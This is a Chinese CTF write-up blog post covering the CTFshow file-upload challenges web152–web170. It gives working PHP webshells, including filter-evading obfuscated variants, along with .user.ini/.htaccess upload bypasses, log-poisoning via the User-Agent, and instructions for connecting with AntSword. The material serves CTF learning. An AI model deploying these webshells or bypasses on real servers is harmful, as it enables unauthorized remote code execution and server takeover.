CTFSHOW 文件上传

开启文件上传

先补充一些知识

1.一句话木马

<?php @eval($_POST['attack']) ?>

只要一句话脚本上传到了服务器当中,我们就可以使用中国蚁剑或者中国菜刀链接并控制整个服务器。

2.中国蚁剑的使用
在这里插入图片描述此处添加的url为我们一句话脚本所在的url,连接密码就是我们定义的_POST中的变量,如上面就是attack。

web152

在这里插入图片描述
解题思路:上传我们做好的含有一句话木马的图片,然后抓包修改发送包的类型为php,用蚁剑连接。

知识点:
①一句话木马的制作:我们使用Notepad++编辑图片,在图片末尾加入我们的一句话木马。在这里插入图片描述②burpsutie中repeter:
在这里插入图片描述红色方框就是我们要将png修改为php。然后从网页中访问。

web153

解题思路:本题我中我们发现通过修改发送包为1.php不可行。上网查阅了后发现,本题考点为.user.ini。这时候我们应该通过先上传一个.user.ini文件,并且文件的内容是auto_append_file=’'1.png这里我们可以直接在bs中的repeter中修改文件名和内容,无需重复上传。
在这里插入图片描述然后我们在upload目录下post一下1=phpinfo();
再用蚁剑连接得到flag。

知识点:

①如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和
PHP_INI_USER 模式可以。
②.user.ini理解.user.ini

web157

解题思路:题目中过滤了],},php。这时候我们要构造一句话木马就变得困难了。这时候通过对.user.ini的理解。我们可以直接让我们的一句话木马改为获取flag的命令。
payload:
1.png里内容为 <? system("nl ../f* ")?>
2.user.ini 里内容为 auto_prepend_file=“1.png”
3.直接访问index.php 查看源码获取flag.

web160

解题思路:题目中基本过滤了过滤了括号反引号还有一些关键字,因此我们使用日志包含。
构建图片文件内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后上传.user.ini
最后修改UA为一句话木马
在这里插入图片描述
知识点:
在这里插入图片描述!!!!!!!!!!!!!!
需要补充为什么这个物理存放路径在这里?是一般情况都存这里还是啥

web161

解题思路:比160多了一个图片验证 所有加上GIF89a就行了
文件上传漏洞之getimagesize()类型验证

web162

!!!!!!!!!补

web166

在这里插入图片描述
解题思路:查看源码后发现只能上传zip文件,这时候我们上传一个含有一句话木马的zip文件。并且注意观察url的变化。
在这里插入图片描述
然后我们在这个地址下构建POST,领1=phpinfo();
再用蚁剑连接。
知识点:

这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。

web167

解题思路:查看源码发现只能上传jpg的文件。查阅资料发现本题的环境是apache。再查知道了本题的考点是与.user.ini对应的.htaccess。因此改包
在这里插入图片描述
意思为将所有后缀为jpg文件的改为php文件。
这时候我们直接访问文件(还是访问上传的jpg文件),蚁剑连接就行了。

web168

解题思路:本题考查免杀,查阅发现过滤了eval,和system。

参考大佬的免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169

解题思路:查看源码发现本题要上传zip文件,传过去发现也不符合规范,难倒了。
上网查了才知道,
前端验证zip,后端验证Png。
抓包,将后面的MIME类型改为image/png。这时候再上传就能成功。
然后利用日志包含.传递.user.ini 内容为auto_prepend_file=/var/log/nginx/access.log
再上传一个php文件,改掉UA头为一句话木马。
最后访问该php文件,蚁剑连接。

web170

同上

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值